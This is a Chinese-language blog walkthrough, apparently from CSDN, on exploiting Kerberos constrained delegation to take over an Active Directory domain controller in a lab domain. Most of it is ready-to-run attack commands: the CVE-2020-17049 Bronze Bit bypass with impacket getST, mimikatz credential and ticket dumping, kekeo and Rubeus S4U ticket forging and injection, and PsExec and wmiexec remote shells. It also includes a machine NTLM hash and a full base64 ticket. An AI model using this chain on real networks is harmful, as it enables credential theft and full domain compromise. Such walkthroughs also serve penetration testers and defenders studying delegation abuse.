非约束委派与约束委派的利用区别简介
之前我写过一篇非约束委派利用的文章,非约束委派其实就是拿到委派的机器权限,
诱导或者有过域管请求过非约束委派的机器而将自身的TGT票据缓存到委派机器的Lsass
进程中,主要是拿到TGT进行横向移动,约束委派相较于非约束委派就要安全很多了,他不会将
TGT缓存到委派机器上,而是转发ST服务票据因此要利用约束委派就需要该委派配置了到域控的
cifs服务才行。
配置约束委派
约束委派有两种:
1.仅使用Kerberos也就是不能进行协议转换(使用CVE-2020-17049 Kerberos Bronze Bit利用)。
2.使用任何身份验证协议,可以进行协议转换(常规利用即可)。
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/58636e6e1433337940872b637cf69ab1.png)
相较于非约束委派,约束委派必须配置相应的服务,且只能模拟委派账号访问特定配置好的
服务,下面进行配置到域控的CIFS服务。
1.查看域控机器名称
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/71e20bc4e42a4b511d23fdc146a55631.png)
2.添加域控的cifs服务
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/85f2a3a091afea0a7505e2cd535b44e3.png)
使用Adfind查询配置了约束委派的信息
查询约束委派(配置约束委派的主机,并可以看到被委派的SPN)
Adfind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
查询约束委派(配置约束委派的服务账号,并可以看到被委派的SPN)
Adfind.exe -b "DC=test,DC=com" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto
可以看到USER-TEST机器账号配置了域控cifs的SPN具有可以利用的约束委派点。
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/a3b94995a89a1f4bedb6240e48052d92.png)
仅使用Kerberos的约束委派利用(利用CVE-2020-17049 Kerberos Bronze Bit)
因为委派攻击的危害性,因此微软官方提供了多种配置来降低委派攻击的危害。首先可以通过禁止协议转换
仅使用Kerberos协议(即关闭TrustedToAuthForDelegation属性),其次是可以在AD中配置域内账户为“敏感账户,
不能被委派”CVE-2020-17049可以绕过此限制。
需要的工具:
最新版本的impacket下的GetST.py脚本
环境配置:
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/51ba702b26ab3b8056d6434a391d6313.png)
就算配置了敏感账号也可以绕过。
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/5ba9f027f477c1f1a827728d6ce4b108.png)
默认命令:
python3 getST.py -dc-ip 192.168.126.66 -spn cifs/WIN-CRJVMOIER7V.test.com -impersonate administrator test.com/WIN10YSWP$ -hashes :73ab588d404a01f7a3e74106d8f93440
可以发现生成失败了因为配置的了仅使用Kerberos
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/c6910da8fc4bc47fd2955ea32dcb5ab5.png)
利用CVE-2020-17049 Kerberos Bronze Bit 绕过
命令(加上-force-forwardable即可自动进行该漏洞利用):
python3 getST.py -dc-ip 192.168.126.66 -spn cifs/WIN-CRJVMOIER7V.test.com -impersonate administrator test.com/WIN10YSWP$ -hashes :73ab588d404a01f7a3e74106d8f93440 -force-forwardable
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/fbf7ca29823cec4ca2d0ec7d1a912f2d.png)
成功绕过拿到票据。
使用mimikatz注入票据
mimikatz.exe "kerberos::ptc administrator.ccache" exit
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/d47e675c5ed43b07db6914745781c069.png)
使用微软的PsExec64.exe拿到域控shell
命令:
PsExec64.exe \\WIN-CRJVMOIER7V.test.com\ powershell.exe
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/499ea6fd83177c0d3eaf144efc5ee4ed.png)
利用方式1(使用任何身份验证协议:使用机器账户的票据+kekeo票据请求TGS)
需要的工具:
mimikatz.exe
kekeo.exe
导出TGT票据
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/7191042b9896c9b7074ea568c4f7a01d.png)
申请服务票据
krbtgt可以看成是TGT票据,之后使用USER-TEST机器账号TGT请求 CIFS TGS服务票据,
模拟Administrator域管权限
kekeo.exe tgs::s4u /tgt:[0;3e4]-2-0-60a10000-WIN10YSWP$@krbtgt-TEST.COM.kirbi /user:Administrator@test.com /service:cifs/WIN-CRJVMOIER7V.test.com
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/3d855ba64c1a95d5f88a4a8e6c16bee3.png)
导入票据
导入TGS_Administrator@test.com@TEST.COM_cifs~WIN-CRJVMOIER7V.test.com@TEST.COM.kirbi票据。
需要注意:如果域账号是敏感账号则不能进行委派则拿不到ST,如果委派模式是仅使用Kerberos也就是不能进
行协议转换也不能够拿到上述的票据只会返回一个票据。
mimikatz.exe "kerberos::ptt TGS_Administrator@test.com@TEST.COM_cifs~WIN-CRJVMOIER7V.test.com@TEST.COM.kirbi" "exit"
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/14ee0fb303d1ba25fb232a767abece01.png)
直接dir
dir \\WIN-CRJVMOIER7V.test.com\C$
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/fcab92f6520a26295e6e4fe3e333c84c.png)
使用微软的PsExec64.exe拿到域控shell
命令:
PsExec64.exe \\WIN-CRJVMOIER7V.test.com\ powershell.exe
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/98bb3f17633dcaee50fe2f1fa26a1264.png)
利用方式2(使用任何身份验证协议:机器账户的Hash值+Rubeus)
导出机器NTLM Hash
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
73ab588d404a01f7a3e74106d8f93440
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/2ac32507f664e0479194d26831936800.png)
使用Rubeus申请配置了约束委派机器账户WIN10YSWP$的TGT
Rubeus.exe asktgt /user:WIN10YSWP$ /rc4:73ab588d404a01f7a3e74106d8f93440 /domain:test.com /dc:WIN-CRJVMOIER7V.test.com /nowrap
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/b82eb4f768e4c935e73bb9c729733a19.png)
使用Rubeus申请域管理员Administrator凭据,并注入内存。
需要注意:
Administrator不能是敏感账号,敏感账号不能被委派。
必须是使用任何身份验证协议的约束委派。
Rubeus.exe s4u /impersonateuser:Administrator /msdsspn:cifs/WIN-CRJVMOIER7V.test.com /dc:WIN-CRJVMOIER7V.test.com /ptt /ticket:doIE5jCCBOKgAwIBBaEDAgEWooIEBTCCBAFhggP9MIID+aADAgEFoQobCFRFU1QuQ09Noh0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbaOCA8UwggPBoAMCARKhAwIBAqKCA7MEggOvXulBV9+rW8DuK2x27zfDJgNj+bUJEwMynFG/WoZ7dRtRv86cbyt5bKQDnWS5d1lozj+eYkJkCDheff1WowKPC1KOOMooafPY72MsvBGr0UIV29nXyL+h1LgHJSSSzq55R6XbCnVvC7o6UNQuOTL+zbG9JJ/mu/2+DTTwzXudvelYgeALr0vHi7t+6HjfUNtJz/jqqxVKTtNS15x9fd+FpbCzvZwZm9V4jf/nRkR8M1xhtzBXexhfWpjV0PQ2jgPaQo7Wyq3w/YsFJmE083zkojY4Gou9wSF/iPxq4U8ZbGapTM12UrtSPZrGeeg35NEAy62AsdOfy+ltLTqNjstwR/ZTlRO+2hBEzApbzBB5y7kssT4IVrqRqi8NASBWBW0NCpycI8CJy876ZtP2/REMBOUH7N7NupKa0T93jSxeTFYalG/Tx8CUndD7u1jT5EOnutKcgaP2zYGSxJRqPt+unuLE9EL/PtTcWTQ/zApRMPHtuIjMqa3YYTkkYkG3HlyCKLzv5WczhHE+phJRD4mEpFVuI7UQiOgewU0xSNA3PLr9qofHlBrCIlYmpb3LALiRq5kTVvk6tXrmfA4RtJyjzmEoEuvAwTclsJzmlXk5VyqfU8ofQGFXAE+nyuVzdmlYOmeWITc5Ucp1P0EiKrAgmrbKEt2RmVXMy0CB/p5tSGyyOrKEf1DZ7q+roVhBBZrulnHmR9KAg5vsqwAyuJaGYWL2cVa1U29vUW7Gl/2jR2jWlgXLcApCUq6lfRMMHb5AfSgopQyqk2ZiF5Pd6Ib4f0jJiMrhWp+8SczPTqXMsCW9iJS4Y+UuX+TwDFAqytYWUzqw6FDmtPahiwh/rydu0yisLcGO+oy9pts6Fl0U1bQRS/CTCF+u4VVm3DSmu8ispLF4DwTWzLFDKhKkPJ4k4zrUFa8fJW26vA1k1UaS8IKJA/x5H/uYFu+feR+Bqh3/XUBAoAThIuA5qWa/Nxtg5RXtme7wbrFa7Be0pyG4M6WxdqeyAat3PHtgDbznJUbaPe9/Ana3EPywQKHZrMjgGbHAT6jQnyUTPKWO3+Rsj06UHKy4vxrNgyJsQFGHFfWa987xMPdrsxXLHqoo7MFdLImKd92IEAtVxp7GJfQT0ngbvDuVlbNag2s6OpgU8K6oK9pR+MUotztk0wy7BXO8Ssip7kXbI6dRKSjkhlQ7a4wQXE6efvD49RTHjbKWjB78hh9VkeE1vEzZKv57c55aqZnBaBuLOYgWNuGv74Kfn6OBzDCByaADAgEAooHBBIG+fYG7MIG4oIG1MIGyMIGvoBswGaADAgEXoRIEEDQX0P2CzT4EMxKlPXQHkFahChsIVEVTVC5DT02iFzAVoAMCAQGhDjAMGwpXSU4xMFlTV1AkowcDBQBA4QAApREYDzIwMjMwMjIzMDg1MTIzWqYRGA8yMDIzMDIyMzE4NTEyM1qnERgPMjAyMzAzMDIwODUxMjNaqAobCFRFU1QuQ09NqR0wG6ADAgECoRQwEhsGa3JidGd0Gwh0ZXN0LmNvbQ==
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/99b36a3b02326a075bc18ea4e7a887bc.png)
dir \\WIN-CRJVMOIER7V.test.com\c$
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/a021a9515eaf6c05c4e5e6c1a6bcf324.png)
使用微软的PsExec64.exe拿到域控shell
命令:
PsExec64.exe \\WIN-CRJVMOIER7V.test.com\ powershell.exe
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/234100430b38d4ef29ae1cea012c070f.png)
利用方式3(使用任何身份验证协议:Impacket工具使用机器账户的Hash值 | getST)
mimikatz获取机器账户NTLM Hash值
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
73ab588d404a01f7a3e74106d8f93440
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/2ac32507f664e0479194d26831936800.png)
使用getST申请服务票据
python3 getST.py -dc-ip 192.168.126.66 -spn cifs/WIN-CRJVMOIER7V.test.com -impersonate administrator test.com/WIN10YSWP$ -hashes :73ab588d404a01f7a3e74106d8f93440
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/142b77babf5d29f99c4d83a26b6b5840.png)
KRB5CCNAME=administrator.ccache 导入票据
使用wmiexec登录域控
wmiexec.py -k test.com/administrator@WIN-CRJVMOIER7V.test.com -no-pass -dc-ip 192.168.126.66
登录失败因为kali没有在域内需要一个域内的机器代理
![在这里插入图片描述](https://i-blog.csdnimg.cn/blog_migrate/82799120bd9a378848b17f5f390edde3.png)